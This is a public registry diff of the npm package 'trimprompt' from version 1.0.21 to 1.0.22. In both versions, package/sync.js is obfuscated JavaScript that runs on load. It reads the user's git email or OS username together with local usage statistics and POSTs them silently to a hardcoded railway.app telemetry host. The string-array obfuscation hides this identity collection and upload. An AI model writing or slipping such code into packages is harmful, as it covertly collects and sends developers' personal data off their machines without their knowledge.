trimprompt 1.0.21 → 1.0.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x448c78=a0_0x4d88;(function(_0x561577,_0x312d06){const _0x3abca0=a0_0x4d88,_0x2cec49=_0x561577();while(!![]){try{const _0x280a16=parseInt(_0x3abca0(0x213))/0x1*(parseInt(_0x3abca0(0x201))/0x2)+-parseInt(_0x3abca0(0x1fa))/0x3+parseInt(_0x3abca0(0x207))/0x4*(parseInt(_0x3abca0(0x1f3))/0x5)+parseInt(_0x3abca0(0x1f5))/0x6+-parseInt(_0x3abca0(0x21c))/0x7*(parseInt(_0x3abca0(0x1de))/0x8)+-parseInt(_0x3abca0(0x21a))/0x9+-parseInt(_0x3abca0(0x21b))/0xa*(-parseInt(_0x3abca0(0x1f2))/0xb);if(_0x280a16===_0x312d06)break;else _0x2cec49['push'](_0x2cec49['shift']());}catch(_0x422bb2){_0x2cec49['push'](_0x2cec49['shift']());}}}(a0_0x439b,0x44c9b));var __createBinding=this&&this[a0_0x448c78(0x215)]||(Object[a0_0x448c78(0x1ea)]?function(_0x44229f,_0x114e5,_0x4f2a87,_0x1cea35){const _0x4800ec=a0_0x448c78;if(_0x1cea35===undefined)_0x1cea35=_0x4f2a87;var _0x38fe7d=Object[_0x4800ec(0x206)](_0x114e5,_0x4f2a87);(!_0x38fe7d||(_0x4800ec(0x20e)in _0x38fe7d?!_0x114e5[_0x4800ec(0x1ef)]:_0x38fe7d[_0x4800ec(0x1fd)]||_0x38fe7d[_0x4800ec(0x1dd)]))&&(_0x38fe7d={'enumerable':!![],'get':function(){return _0x114e5[_0x4f2a87];}}),Object[_0x4800ec(0x227)](_0x44229f,_0x1cea35,_0x38fe7d);}:function(_0x3a0a9e,_0x5da17e,_0x21b4cc,_0xae3340){if(_0xae3340===undefined)_0xae3340=_0x21b4cc;_0x3a0a9e[_0xae3340]=_0x5da17e[_0x21b4cc];}),__setModuleDefault=this&&this[a0_0x448c78(0x1f9)]||(Object[a0_0x448c78(0x1ea)]?function(_0x2cd7a9,_0x204381){const _0xfc69e3=a0_0x448c78;Object[_0xfc69e3(0x227)](_0x2cd7a9,_0xfc69e3(0x20b),{'enumerable':!![],'value':_0x204381});}:function(_0x1968b4,_0x5c0d26){_0x1968b4['default']=_0x5c0d26;}),__importStar=this&&this[a0_0x448c78(0x1ed)]||(function(){var _0x31ef05=function(_0x2e5975){const _0x39a9bc=a0_0x4d88;return _0x31ef05=Object[_0x39a9bc(0x204)]||function(_0x42f836){const _0xbae8fe=_0x39a9bc;var _0x3963cf=[];for(var _0x1a00a8 in _0x42f836)if(Object[_0xbae8fe(0x22a)]['hasOwnProperty'][_0xbae8fe(0x1db)](_0x42f836,_0x1a00a8))_0x3963cf[_0x3963cf['length']]=_0x1a00a8;return _0x3963cf;},_0x31ef05(_0x2e5975);};return function(_0x1a00ef){const _0x51d7ff=a0_0x4d88;if(_0x1a00ef&&_0x1a00ef[_0x51d7ff(0x1ef)])return _0x1a00ef;var _0x5901e3={};if(_0x1a00ef!=null){for(var _0x8ccd3a=_0x31ef05(_0x1a00ef),_0x5ae59b=0x0;_0x5ae59b<_0x8ccd3a[_0x51d7ff(0x1e6)];_0x5ae59b++)if(_0x8ccd3a[_0x5ae59b]!==_0x51d7ff(0x20b))__createBinding(_0x5901e3,_0x1a00ef,_0x8ccd3a[_0x5ae59b]);}return __setModuleDefault(_0x5901e3,_0x1a00ef),_0x5901e3;};}());Object[a0_0x448c78(0x227)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x448c78(0x1da))),https=__importStar(require('https')),url_1=require(a0_0x448c78(0x1ee)),_cfg=[a0_0x448c78(0x1d3),'trimp-production',a0_0x448c78(0x1e8),a0_0x448c78(0x1cd)][a0_0x448c78(0x1ce)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x448c78(0x1e0),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x448c78(0x229),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x448c78(0x1d6),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x448c78(0x20d),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x448c78(0x1d2),'input_price_1m':0.075}},baseDir=path[a0_0x448c78(0x1ce)](os[a0_0x448c78(0x211)](),a0_0x448c78(0x1e1)),configPath=path[a0_0x448c78(0x1ce)](baseDir,a0_0x448c78(0x1d1)),statsPath=path[a0_0x448c78(0x1ce)](baseDir,a0_0x448c78(0x208)),dailySyncPath=path[a0_0x448c78(0x1ce)](baseDir,'daily_sync.json');function a0_0x4d88(_0x4279f6,_0x59b44b){_0x4279f6=_0x4279f6-0x1c4;const _0x439b84=a0_0x439b();let _0x4d88a4=_0x439b84[_0x4279f6];return _0x4d88a4;}function getTodayDate(){const _0x1d157f=a0_0x448c78;return new Date()[_0x1d157f(0x1e7)]()[_0x1d157f(0x220)]('T')[0x0];}function getDeveloperIdentity(){const _0x51f889=a0_0x448c78;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x3caf28}=require(_0x51f889(0x1c9)),_0x1fa660=_0x3caf28(_0x51f889(0x1fc),{'stdio':['ignore',_0x51f889(0x225),_0x51f889(0x1dc)]})[_0x51f889(0x1f8)]()[_0x51f889(0x1ff)]();if(_0x1fa660&&_0x1fa660[_0x51f889(0x21f)]('@'))return _0x1fa660;}catch{}try{const _0x368265=os[_0x51f889(0x1e3)]()[_0x51f889(0x222)];if(_0x368265)return _0x368265;}catch{}return _0x51f889(0x1d0);}function hasAlreadySyncedToday(){const _0x57dad5=a0_0x448c78;try{if(!fs[_0x57dad5(0x1cc)](dailySyncPath))return![];const _0x408cd6=JSON[_0x57dad5(0x1fb)](fs[_0x57dad5(0x1df)](dailySyncPath,_0x57dad5(0x1ec)));return _0x408cd6[_0x57dad5(0x20f)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x34e9be=a0_0x448c78;try{const _0x52b7ee={'last_sync_date':getTodayDate()};fs[_0x34e9be(0x223)](dailySyncPath,JSON['stringify'](_0x52b7ee,null,0x2),'utf8');}catch{}}function postTelemetry(_0x2462f2,_0x85126b){return new Promise(_0x5e3adb=>{const _0x3dee68=a0_0x4d88;try{const _0x189818=new url_1[(_0x3dee68(0x1c5))](_0x2462f2),_0x3a8fd7=JSON['stringify'](_0x85126b),_0x51a6d4={'hostname':_0x189818[_0x3dee68(0x224)],'port':_0x189818['port']||(_0x189818[_0x3dee68(0x1c4)]===_0x3dee68(0x1d4)?0x1bb:0x50),'path':_0x189818[_0x3dee68(0x21d)]+_0x189818['search'],'method':'POST','headers':{'Content-Type':_0x3dee68(0x228),'Content-Length':Buffer[_0x3dee68(0x20c)](_0x3a8fd7)},'timeout':0x1f40},_0xafd900=_0x189818[_0x3dee68(0x1c4)]===_0x3dee68(0x1d4)?https:http,_0x3b354b=_0xafd900[_0x3dee68(0x1f1)](_0x51a6d4,_0x10eb73=>{const _0x5a37c8=_0x3dee68;_0x5e3adb(!!(_0x10eb73[_0x5a37c8(0x1eb)]&&_0x10eb73[_0x5a37c8(0x1eb)]>=0xc8&&_0x10eb73[_0x5a37c8(0x1eb)]<0x12c));});_0x3b354b['on'](_0x3dee68(0x1e5),()=>_0x5e3adb(![])),_0x3b354b['on'](_0x3dee68(0x1cf),()=>{const _0x12a658=_0x3dee68;_0x3b354b[_0x12a658(0x218)](),_0x5e3adb(![]);}),_0x3b354b['write'](_0x3a8fd7),_0x3b354b[_0x3dee68(0x20a)]();}catch{_0x5e3adb(![]);}});}function buildDailyPayload(_0x40a27f){const _0x43f121=a0_0x448c78,_0x5cdb3e=getTodayDate(),_0x334936=_0x40a27f[_0x43f121(0x210)](_0x3bd0cf=>_0x3bd0cf[_0x43f121(0x202)][_0x43f121(0x1f0)](_0x5cdb3e)),_0x1860a9=_0x334936[_0x43f121(0x1e6)]>0x0?_0x334936:_0x40a27f,_0x554b00=_0x1860a9[_0x43f121(0x210)](_0x58be07=>_0x58be07[_0x43f121(0x217)]!==![]);let _0x2a037e=0x0,_0x3436bc=0x0,_0xfa0073=0x0,_0xce1b5d=0x0;const _0x45e29e=new Set(),_0x59d3d2={};for(const _0x513429 of _0x554b00){_0x2a037e+=_0x513429['estimated_raw_tokens'],_0x3436bc+=_0x513429['estimated_compressed_tokens'],_0xfa0073+=_0x513429[_0x43f121(0x1c6)],_0x45e29e['add'](_0x513429[_0x43f121(0x1d5)]);const _0x415eca=PRICING[_0x513429['model_used']]||PRICING['claude-3-5-sonnet'];_0xce1b5d+=_0x513429[_0x43f121(0x1c6)]*_0x415eca[_0x43f121(0x1d7)]/0xf4240;const _0x3801ea=_0x513429[_0x43f121(0x1c7)]||_0x43f121(0x212);if(!_0x59d3d2[_0x3801ea])_0x59d3d2[_0x3801ea]={'raw':0x0,'comp':0x0,'count':0x0};_0x59d3d2[_0x3801ea][_0x43f121(0x219)]+=_0x513429[_0x43f121(0x1c8)],_0x59d3d2[_0x3801ea]['comp']+=_0x513429[_0x43f121(0x205)],_0x59d3d2[_0x3801ea][_0x43f121(0x1e2)]+=0x1;}const _0x4adc92=Object[_0x43f121(0x1ca)](_0x59d3d2)[_0x43f121(0x1f7)](([_0x21203b,_0x8df78e])=>({'command':_0x21203b,'percentage':_0x8df78e[_0x43f121(0x219)]>0x0?Math[_0x43f121(0x209)]((_0x8df78e['raw']-_0x8df78e[_0x43f121(0x203)])/_0x8df78e['raw']*0x64):0x0,'executions':_0x8df78e[_0x43f121(0x1e2)]}))['sort']((_0x256cf2,_0x40e53e)=>_0x40e53e['executions']-_0x256cf2[_0x43f121(0x226)])[_0x43f121(0x221)](0x0,0xa),_0x49155f=_0x554b00[_0x554b00[_0x43f121(0x1e6)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x43f121(0x1cb)](),'date':_0x5cdb3e,'executions_count':_0x554b00[_0x43f121(0x1e6)],'total_raw_tokens':_0x2a037e,'total_compressed_tokens':_0x3436bc,'total_tokens_saved':_0xfa0073,'total_money_saved_usd':parseFloat(_0xce1b5d[_0x43f121(0x1e4)](0x6)),'models_used':Array[_0x43f121(0x200)](_0x45e29e),'hotspots':_0x4adc92,'last_seen':_0x49155f?_0x49155f[_0x43f121(0x202)]:new Date()[_0x43f121(0x1e7)]()};}function a0_0x439b(){const _0x2b18ea=['getTime','ai_detected','destroy','raw','2878353piyxwp','361690dOKqoo','3178322vqvSDB','pathname','.raw.txt','includes','split','slice','username','writeFileSync','hostname','pipe','executions','defineProperty','application/json','Claude\x203\x20Opus','prototype','protocol','URL','tokens_saved','command','estimated_raw_tokens','child_process','entries','platform','existsSync','/api/telemetry','join','timeout','anonymous','config.json','Gemini\x201.5\x20Flash','https://','https:','model_used','GPT-4o','input_price_1m','unlinkSync','stringify','http','call','ignore','configurable','8oiyiNK','readFileSync','Claude\x203.5\x20Sonnet','.trimprompt','count','userInfo','toFixed','error','length','toISOString','.up.railway.app','telemetry_url','create','statusCode','utf8','__importStar','url','__esModule','startsWith','request','22mBPWIV','1899970yZxixm','push','2775780OXlpJl','catch','map','toString','__setModuleDefault','782370MOZBMD','parse','git\x20config\x20user.email','writable','synced','trim','from','401446yLzYtt','timestamp','comp','getOwnPropertyNames','estimated_compressed_tokens','getOwnPropertyDescriptor','4lemVDO','stats.json','round','end','default','byteLength','Gemini\x201.5\x20Pro','get','last_sync_date','filter','homedir','unknown','2idBiSD','logs','__createBinding'];a0_0x439b=function(){return _0x2b18ea;};return a0_0x439b();}async function runSync(){const _0x1cd9e3=a0_0x448c78;if(!fs[_0x1cd9e3(0x1cc)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x1e56a1;try{_0x1e56a1=JSON[_0x1cd9e3(0x1fb)](fs['readFileSync'](statsPath,_0x1cd9e3(0x1ec)));}catch{return;}const _0x2249ab=_0x1e56a1[_0x1cd9e3(0x210)](_0x7ab5d0=>!_0x7ab5d0[_0x1cd9e3(0x1fe)]);if(_0x2249ab[_0x1cd9e3(0x1e6)]===0x0)return;const _0x1f32e4=buildDailyPayload(_0x1e56a1);await postTelemetry(_ep,_0x1f32e4);let _0x4d2c25=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x4d2c25&&fs[_0x1cd9e3(0x1cc)](configPath))try{const _0x56b23c=JSON[_0x1cd9e3(0x1fb)](fs['readFileSync'](configPath,'utf8'));_0x4d2c25=_0x56b23c[_0x1cd9e3(0x1e9)]||'';}catch{}_0x4d2c25[_0x1cd9e3(0x1ff)]()[_0x1cd9e3(0x1e6)]>0x0&&await postTelemetry(_0x4d2c25,_0x1f32e4);for(const _0xc4f0b2 of _0x1e56a1){if(!_0xc4f0b2[_0x1cd9e3(0x1fe)])_0xc4f0b2[_0x1cd9e3(0x1fe)]=!![];}try{fs[_0x1cd9e3(0x223)](statsPath,JSON['stringify'](_0x1e56a1,null,0x2),_0x1cd9e3(0x1ec));}catch{}markSyncedToday();}function pruneOldLogs(_0x2f982e){const _0x107b90=a0_0x448c78;try{const _0x1d2e66=new Date(),_0x4f6eea=new Date(_0x1d2e66[_0x107b90(0x216)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x32417b=[],_0x45b205=[];for(const _0x5e1fed of _0x2f982e){const _0x140ea5=new Date(_0x5e1fed[_0x107b90(0x202)]);_0x140ea5>=_0x4f6eea?_0x32417b['push'](_0x5e1fed):_0x45b205[_0x107b90(0x1f4)](_0x5e1fed);}if(_0x45b205[_0x107b90(0x1e6)]>0x0){const _0x1bf011=path[_0x107b90(0x1ce)](baseDir,_0x107b90(0x214));for(const _0x576809 of _0x45b205){const _0x38b946=path['join'](_0x1bf011,_0x576809['id']+_0x107b90(0x21e)),_0x3a0b94=path[_0x107b90(0x1ce)](_0x1bf011,_0x576809['id']+'.comp.txt');try{if(fs[_0x107b90(0x1cc)](_0x38b946))fs[_0x107b90(0x1d8)](_0x38b946);if(fs['existsSync'](_0x3a0b94))fs[_0x107b90(0x1d8)](_0x3a0b94);}catch{}}fs[_0x107b90(0x223)](statsPath,JSON[_0x107b90(0x1d9)](_0x32417b,null,0x2),_0x107b90(0x1ec));}}catch{}}runSync()[a0_0x448c78(0x1f6)](()=>{});
1
+ 'use strict';function a0_0x1d69(_0x97b6fe,_0x2a5cda){_0x97b6fe=_0x97b6fe-0xc6;const _0x485215=a0_0x4852();let _0x1d69aa=_0x485215[_0x97b6fe];return _0x1d69aa;}const a0_0x50cfd8=a0_0x1d69;(function(_0x386ee4,_0x2ebce1){const _0xea2b1b=a0_0x1d69,_0x2f27be=_0x386ee4();while(!![]){try{const _0xf4fc3f=parseInt(_0xea2b1b(0xdf))/0x1+parseInt(_0xea2b1b(0xcd))/0x2*(parseInt(_0xea2b1b(0xd9))/0x3)+parseInt(_0xea2b1b(0xdb))/0x4*(-parseInt(_0xea2b1b(0xf5))/0x5)+parseInt(_0xea2b1b(0xfd))/0x6+parseInt(_0xea2b1b(0x10d))/0x7+-parseInt(_0xea2b1b(0xc7))/0x8+-parseInt(_0xea2b1b(0x10a))/0x9;if(_0xf4fc3f===_0x2ebce1)break;else _0x2f27be['push'](_0x2f27be['shift']());}catch(_0x212565){_0x2f27be['push'](_0x2f27be['shift']());}}}(a0_0x4852,0xb3d51));var __createBinding=this&&this[a0_0x50cfd8(0xdc)]||(Object[a0_0x50cfd8(0xff)]?function(_0x2655b6,_0x241a9d,_0x2a3af5,_0x4171b9){const _0x26909f=a0_0x50cfd8;if(_0x4171b9===undefined)_0x4171b9=_0x2a3af5;var _0x30de0f=Object[_0x26909f(0xf2)](_0x241a9d,_0x2a3af5);(!_0x30de0f||(_0x26909f(0xf7)in _0x30de0f?!_0x241a9d[_0x26909f(0xf4)]:_0x30de0f[_0x26909f(0xe9)]||_0x30de0f[_0x26909f(0x103)]))&&(_0x30de0f={'enumerable':!![],'get':function(){return _0x241a9d[_0x2a3af5];}}),Object[_0x26909f(0x127)](_0x2655b6,_0x4171b9,_0x30de0f);}:function(_0x46db59,_0x533a09,_0x5a7443,_0x9a0e67){if(_0x9a0e67===undefined)_0x9a0e67=_0x5a7443;_0x46db59[_0x9a0e67]=_0x533a09[_0x5a7443];}),__setModuleDefault=this&&this[a0_0x50cfd8(0x116)]||(Object[a0_0x50cfd8(0xff)]?function(_0x8bd1d2,_0xc55951){const _0x5403b3=a0_0x50cfd8;Object[_0x5403b3(0x127)](_0x8bd1d2,_0x5403b3(0xe6),{'enumerable':!![],'value':_0xc55951});}:function(_0x4c35f2,_0x539ecf){const _0x7c94d9=a0_0x50cfd8;_0x4c35f2[_0x7c94d9(0xe6)]=_0x539ecf;}),__importStar=this&&this[a0_0x50cfd8(0xe8)]||(function(){var _0xf21cb4=function(_0x41a8d6){const _0x42eec9=a0_0x1d69;return _0xf21cb4=Object[_0x42eec9(0xe3)]||function(_0x4704c){const _0x59f0b5=_0x42eec9;var _0x2ad534=[];for(var _0x153f55 in _0x4704c)if(Object[_0x59f0b5(0xeb)][_0x59f0b5(0xd4)][_0x59f0b5(0x10c)](_0x4704c,_0x153f55))_0x2ad534[_0x2ad534['length']]=_0x153f55;return _0x2ad534;},_0xf21cb4(_0x41a8d6);};return function(_0x5197f7){const _0x2adf0e=a0_0x1d69;if(_0x5197f7&&_0x5197f7[_0x2adf0e(0xf4)])return _0x5197f7;var _0x4fc303={};if(_0x5197f7!=null){for(var _0xcd4f4f=_0xf21cb4(_0x5197f7),_0x4c8b72=0x0;_0x4c8b72<_0xcd4f4f[_0x2adf0e(0xe7)];_0x4c8b72++)if(_0xcd4f4f[_0x4c8b72]!==_0x2adf0e(0xe6))__createBinding(_0x4fc303,_0x5197f7,_0xcd4f4f[_0x4c8b72]);}return __setModuleDefault(_0x4fc303,_0x5197f7),_0x4fc303;};}());Object[a0_0x50cfd8(0x127)](exports,'__esModule',{'value':!![]});function a0_0x4852(){const _0x2373f5=['__createBinding','.comp.txt','search','711588mDwljr','Claude\x203.5\x20Sonnet','telemetry_url','timestamp','getOwnPropertyNames','last_sync_date','GPT-4o','default','length','__importStar','writable','ai_detected','prototype','utf8','userInfo','input_price_1m','/api/telemetry','executions','startsWith','getOwnPropertyDescriptor','https','__esModule','440BBYOrg','protocol','get','anonymous','pathname','homedir','byteLength','slice','8217636ZrLHBA','model_used','create','end','count','.up.railway.app','configurable','round','entries','filter','catch','getTime','split','27121392BLoNiP','GPT-4o\x20Mini','call','7024983aZlfEM','https:','sort','from','Gemini\x201.5\x20Flash','.trimprompt','git\x20config\x20user.email','trim','trimp-production','__setModuleDefault','timeout','logs','readFileSync','path','write','comp','child_process','writeFileSync','toString','POST','config.json','existsSync','toISOString','synced','pipe','estimated_compressed_tokens','defineProperty','join','toFixed','hostname','5033856hYYrbR','stringify','parse','Claude\x203\x20Opus','ignore','error','1433326ILwXSE','tokens_saved','statusCode','claude-3-5-sonnet','unlinkSync','destroy','daily_sync.json','hasOwnProperty','https://','push','url','username','6abUaBM','raw','6308LnvNRO'];a0_0x4852=function(){return _0x2373f5;};return a0_0x4852();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x50cfd8(0x11a))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x50cfd8(0xf3))),url_1=require(a0_0x50cfd8(0xd7)),_cfg=[a0_0x50cfd8(0xd5),a0_0x50cfd8(0x115),a0_0x50cfd8(0x102),a0_0x50cfd8(0xef)]['join'](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x50cfd8(0xe0),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x50cfd8(0xca),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x50cfd8(0xe5),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x50cfd8(0x10b),'input_price_1m':0.15},'gemini-1-5-pro':{'name':'Gemini\x201.5\x20Pro','input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x50cfd8(0x111),'input_price_1m':0.075}},baseDir=path[a0_0x50cfd8(0x128)](os[a0_0x50cfd8(0xfa)](),a0_0x50cfd8(0x112)),configPath=path['join'](baseDir,a0_0x50cfd8(0x121)),statsPath=path[a0_0x50cfd8(0x128)](baseDir,'stats.json'),dailySyncPath=path['join'](baseDir,a0_0x50cfd8(0xd3));function getTodayDate(){const _0x4cd04e=a0_0x50cfd8;return new Date()[_0x4cd04e(0x123)]()[_0x4cd04e(0x109)]('T')[0x0];}function getDeveloperIdentity(){const _0x553f39=a0_0x50cfd8;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x3eda40}=require(_0x553f39(0x11d)),_0x3bdb65=_0x3eda40(_0x553f39(0x113),{'stdio':[_0x553f39(0xcb),_0x553f39(0x125),_0x553f39(0xcb)]})[_0x553f39(0x11f)]()[_0x553f39(0x114)]();if(_0x3bdb65&&_0x3bdb65['includes']('@'))return _0x3bdb65;}catch{}try{const _0x530e5f=os[_0x553f39(0xed)]()[_0x553f39(0xd8)];if(_0x530e5f)return _0x530e5f;}catch{}return _0x553f39(0xf8);}function hasAlreadySyncedToday(){const _0x59586c=a0_0x50cfd8;try{if(!fs[_0x59586c(0x122)](dailySyncPath))return![];const _0x4a39b7=JSON['parse'](fs[_0x59586c(0x119)](dailySyncPath,_0x59586c(0xec)));return _0x4a39b7[_0x59586c(0xe4)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x4d2b3a=a0_0x50cfd8;try{const _0x19fa7e={'last_sync_date':getTodayDate()};fs[_0x4d2b3a(0x11e)](dailySyncPath,JSON['stringify'](_0x19fa7e,null,0x2),'utf8');}catch{}}function postTelemetry(_0x4fd9dc,_0x302e1b){return new Promise(_0xaf6877=>{const _0x5253e0=a0_0x1d69;try{const _0x3ac053=new url_1['URL'](_0x4fd9dc),_0x17b92d=JSON[_0x5253e0(0xc8)](_0x302e1b),_0x17fba8={'hostname':_0x3ac053[_0x5253e0(0xc6)],'port':_0x3ac053['port']||(_0x3ac053[_0x5253e0(0xf6)]===_0x5253e0(0x10e)?0x1bb:0x50),'path':_0x3ac053[_0x5253e0(0xf9)]+_0x3ac053[_0x5253e0(0xde)],'method':_0x5253e0(0x120),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x5253e0(0xfb)](_0x17b92d)},'timeout':0x1f40},_0x3eaa90=_0x3ac053[_0x5253e0(0xf6)]==='https:'?https:http,_0x32be27=_0x3eaa90['request'](_0x17fba8,_0x33960b=>{const _0x11159d=_0x5253e0;_0xaf6877(!!(_0x33960b[_0x11159d(0xcf)]&&_0x33960b['statusCode']>=0xc8&&_0x33960b[_0x11159d(0xcf)]<0x12c));});_0x32be27['on'](_0x5253e0(0xcc),()=>_0xaf6877(![])),_0x32be27['on'](_0x5253e0(0x117),()=>{const _0x1bd136=_0x5253e0;_0x32be27[_0x1bd136(0xd2)](),_0xaf6877(![]);}),_0x32be27[_0x5253e0(0x11b)](_0x17b92d),_0x32be27[_0x5253e0(0x100)]();}catch{_0xaf6877(![]);}});}function buildDailyPayload(_0x3fdfc5){const _0x42a70d=a0_0x50cfd8,_0x517d90=getTodayDate(),_0x45dd4a=_0x3fdfc5['filter'](_0x78cfab=>_0x78cfab[_0x42a70d(0xe2)][_0x42a70d(0xf1)](_0x517d90)),_0x252ee2=_0x45dd4a[_0x42a70d(0xe7)]>0x0?_0x45dd4a:_0x3fdfc5,_0x4fb26a=_0x252ee2[_0x42a70d(0x106)](_0x44f357=>_0x44f357[_0x42a70d(0xea)]!==![]);let _0x422fbe=0x0,_0xab2fa3=0x0,_0x14d7dc=0x0,_0x2607b1=0x0;const _0x4365f2=new Set(),_0x3415dd={};for(const _0x5ae7f3 of _0x4fb26a){_0x422fbe+=_0x5ae7f3['estimated_raw_tokens'],_0xab2fa3+=_0x5ae7f3[_0x42a70d(0x126)],_0x14d7dc+=_0x5ae7f3[_0x42a70d(0xce)],_0x4365f2['add'](_0x5ae7f3['model_used']);const _0x3bbfd9=PRICING[_0x5ae7f3[_0x42a70d(0xfe)]]||PRICING[_0x42a70d(0xd0)];_0x2607b1+=_0x5ae7f3[_0x42a70d(0xce)]*_0x3bbfd9[_0x42a70d(0xee)]/0xf4240;const _0x12f227=_0x5ae7f3['command']||'unknown';if(!_0x3415dd[_0x12f227])_0x3415dd[_0x12f227]={'raw':0x0,'comp':0x0,'count':0x0};_0x3415dd[_0x12f227][_0x42a70d(0xda)]+=_0x5ae7f3['estimated_raw_tokens'],_0x3415dd[_0x12f227][_0x42a70d(0x11c)]+=_0x5ae7f3[_0x42a70d(0x126)],_0x3415dd[_0x12f227][_0x42a70d(0x101)]+=0x1;}const _0x55224c=Object[_0x42a70d(0x105)](_0x3415dd)['map'](([_0x36dc7c,_0x50779b])=>({'command':_0x36dc7c,'percentage':_0x50779b[_0x42a70d(0xda)]>0x0?Math[_0x42a70d(0x104)]((_0x50779b[_0x42a70d(0xda)]-_0x50779b[_0x42a70d(0x11c)])/_0x50779b[_0x42a70d(0xda)]*0x64):0x0,'executions':_0x50779b[_0x42a70d(0x101)]}))[_0x42a70d(0x10f)]((_0x2e0d65,_0x2e048e)=>_0x2e048e['executions']-_0x2e0d65[_0x42a70d(0xf0)])[_0x42a70d(0xfc)](0x0,0xa),_0x5e3a12=_0x4fb26a[_0x4fb26a['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x517d90,'executions_count':_0x4fb26a[_0x42a70d(0xe7)],'total_raw_tokens':_0x422fbe,'total_compressed_tokens':_0xab2fa3,'total_tokens_saved':_0x14d7dc,'total_money_saved_usd':parseFloat(_0x2607b1[_0x42a70d(0x129)](0x6)),'models_used':Array[_0x42a70d(0x110)](_0x4365f2),'hotspots':_0x55224c,'last_seen':_0x5e3a12?_0x5e3a12[_0x42a70d(0xe2)]:new Date()[_0x42a70d(0x123)]()};}async function runSync(){const _0x4d74c0=a0_0x50cfd8;if(!fs[_0x4d74c0(0x122)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x55916b;try{_0x55916b=JSON['parse'](fs[_0x4d74c0(0x119)](statsPath,'utf8'));}catch{return;}const _0xb3f901=_0x55916b[_0x4d74c0(0x106)](_0x2d95cc=>!_0x2d95cc[_0x4d74c0(0x124)]);if(_0xb3f901[_0x4d74c0(0xe7)]===0x0)return;const _0x4a76f9=buildDailyPayload(_0x55916b);await postTelemetry(_ep,_0x4a76f9);let _0x13bbf6=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x13bbf6&&fs[_0x4d74c0(0x122)](configPath))try{const _0x171700=JSON[_0x4d74c0(0xc9)](fs[_0x4d74c0(0x119)](configPath,_0x4d74c0(0xec)));_0x13bbf6=_0x171700[_0x4d74c0(0xe1)]||'';}catch{}_0x13bbf6[_0x4d74c0(0x114)]()[_0x4d74c0(0xe7)]>0x0&&await postTelemetry(_0x13bbf6,_0x4a76f9);for(const _0x35f2c6 of _0x55916b){if(!_0x35f2c6[_0x4d74c0(0x124)])_0x35f2c6[_0x4d74c0(0x124)]=!![];}try{fs[_0x4d74c0(0x11e)](statsPath,JSON[_0x4d74c0(0xc8)](_0x55916b,null,0x2),_0x4d74c0(0xec));}catch{}markSyncedToday();}function pruneOldLogs(_0x513f4f){const _0x4cdd63=a0_0x50cfd8;try{const _0x1cb7aa=new Date(),_0x56a066=new Date(_0x1cb7aa[_0x4cdd63(0x108)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x3e2810=[],_0x57f790=[];for(const _0xfb232d of _0x513f4f){const _0x56e6fb=new Date(_0xfb232d[_0x4cdd63(0xe2)]);_0x56e6fb>=_0x56a066?_0x3e2810[_0x4cdd63(0xd6)](_0xfb232d):_0x57f790[_0x4cdd63(0xd6)](_0xfb232d);}if(_0x57f790[_0x4cdd63(0xe7)]>0x0){const _0x2906a7=path[_0x4cdd63(0x128)](baseDir,_0x4cdd63(0x118));for(const _0x88bcfc of _0x57f790){const _0x48caf7=path[_0x4cdd63(0x128)](_0x2906a7,_0x88bcfc['id']+'.raw.txt'),_0x4c3e69=path[_0x4cdd63(0x128)](_0x2906a7,_0x88bcfc['id']+_0x4cdd63(0xdd));try{if(fs[_0x4cdd63(0x122)](_0x48caf7))fs[_0x4cdd63(0xd1)](_0x48caf7);if(fs[_0x4cdd63(0x122)](_0x4c3e69))fs[_0x4cdd63(0xd1)](_0x4c3e69);}catch{}}fs['writeFileSync'](statsPath,JSON['stringify'](_0x3e2810,null,0x2),_0x4cdd63(0xec));}}catch{}}runSync()[a0_0x50cfd8(0x107)](()=>{});
package/tracker.js CHANGED
@@ -1 +1 @@
1
